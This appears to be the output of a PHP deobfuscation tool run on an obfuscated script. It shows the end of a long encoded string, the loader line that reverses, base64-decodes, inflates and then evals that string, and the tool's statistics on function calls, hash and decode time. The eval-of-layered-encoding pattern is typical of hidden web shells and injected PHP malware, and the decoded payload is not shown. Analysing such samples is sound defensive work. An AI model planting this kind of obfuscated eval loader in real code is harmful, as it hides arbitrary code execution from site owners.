9MeZfrcm9ifmt7+OV8DfqFYxXrlm7CdmJfiGThnwU3CzftP86m787+0qRJee3fM+W8un/rJpubNild5k/qPd1z+x+fT7Lu21lpM2EPUL/M65lrrptsGU6qYyn4Su8Qno5roNP84u00X/xzv+1zna0L7NX/42rpV9+uebKc/rX53vfFVzaE5ch735k10lgGodrv0V/9KNoZl5WiaqJWX2j2mJXLtabJJCNfxX3MWE3s2XZvY5UgButaO1VK5Zex7VenhEzj3e0i7BxeVVe/wn9eWf/8RYtHvehUNDKflkIKf87eT6XKl+opu6G/8KQDq8v6am/Yi8yYuW1fYlbiNqCUw0/hb/IicsNuovd/mtuIr9k43mav/37Hmz/Hvd12M4h9hZnoW+sqUzvq4v08K8mzdthdlO8Fb/yXW79WUrPZlf0zHnaluv8h5MhbuEW9+vFJvoxXRFrs6P7SU7hn46UFmcbYkIhsv9mUrXuSze9vN0LMxN22a1t9yLfIlw6t+UJ8hFeKN5dVdjq06Rw7s5Zb2je+4lpmP0V+yj8x7qNzmrFBKvZZszT3LImLq8Ht82KUzk34KVJaoolpEUue3jGj2XYyfZV5Dqgqv+Ya6WNeV520WjzWPli40iRzPm0aEaV7X9sX/9LHS1qwzsoTJ1YpzwYviWTU3URfxW8T7fu3uUh5u5qrLpKU+tYCh9EHkJT3UgT8/1Enjuah8GsLfhBSDM7+G2VyihB0RZcwOBztCHPDA9t09sLx/fpeagroVNwfNYJ8XrgHE9VUDY2PVMymo6vKnMzw64FiWYxcz0fjSnJtFYxh34X8yG8IC4/eRBcAzCj2239Hdzt/O3TH4bIre571S3CiCv5NH5VJ0PAaWy3S3BVnzYJbufWMFjr/Ijv5BPjJNoMGWbsUTSpMBqNTqhJeCx5jOTNiQdPKMGdn8rBD2q/1P1poF047/6W1IG0cDJOX454DG+DB9CwC/ZRc4K4Zr8OEcM3T3iv74VyMHMb8SQ6UZrULM4ghLmWXNv/dT4Fhdp0pQ9XvTlQKV55V8gn9qQvOU6250hnlCeaew1KT1l9S/Xqi20ifUMadvYGXxUebvdV1TChz6ovg50U8c3b+N+U2Vn7QMFPvBt82ewtALSBN454tBcIBg1e7BdEelhO4OYV5QjhkLyZsNQIswHVdWVxMZSeQNl9b3OM2QIQafDYMZrhRXyjUyXexF3dZ7OogZWlDuQd2KeqhBDrOymxn9EArvGO/zODRfIgHe55nhQ7wY0IzWCcX8wfBV5xEW3MmDdt0GILkxqCRuRAHizG95qZ6PyIrBWND8I83z2zvIwpYWgGW4rt+5hPR4pQ6YMcRD78HDa7qQpe/bC+9d5NrYh/S9zd7qR6L64veD3EzaF44HQRRC93P3lv4z/iLV4LWzS9+7nvSk4Gnyq3KeXNu//dI80zgqFXzVcGyaFCd1Lg0H4abpD+wKkE3//cM//vJHZjP/MarMyIjMlocQX624z0T9f1t0wHYtyIiJFdeXmPX70HjYVQCIBJJQ4VNV+2MgCvTNXpy4qg5sltcfL+LtU3x958+u4Dg0ILudp3b7ci3fPDIMA83zACDA";
eval(''.gzuncompress(gzinflate(gzinflate(base64_decode(strrev($str))))));
exit; ?>

Function Calls

strrev 1
gzinflate 2
gzuncompress 1
base64_decode 1

Variables

$str ==wHpEuGB8f68vPCNqCHfVoFLPCVtV4ABAHD/D0B/APGfIMM/FFJQx9If58e..

Stats

MD5 5c80b6769ff57c3e0c3d50ccdd3caaa1
Eval Count 1
Decode Time 685 ms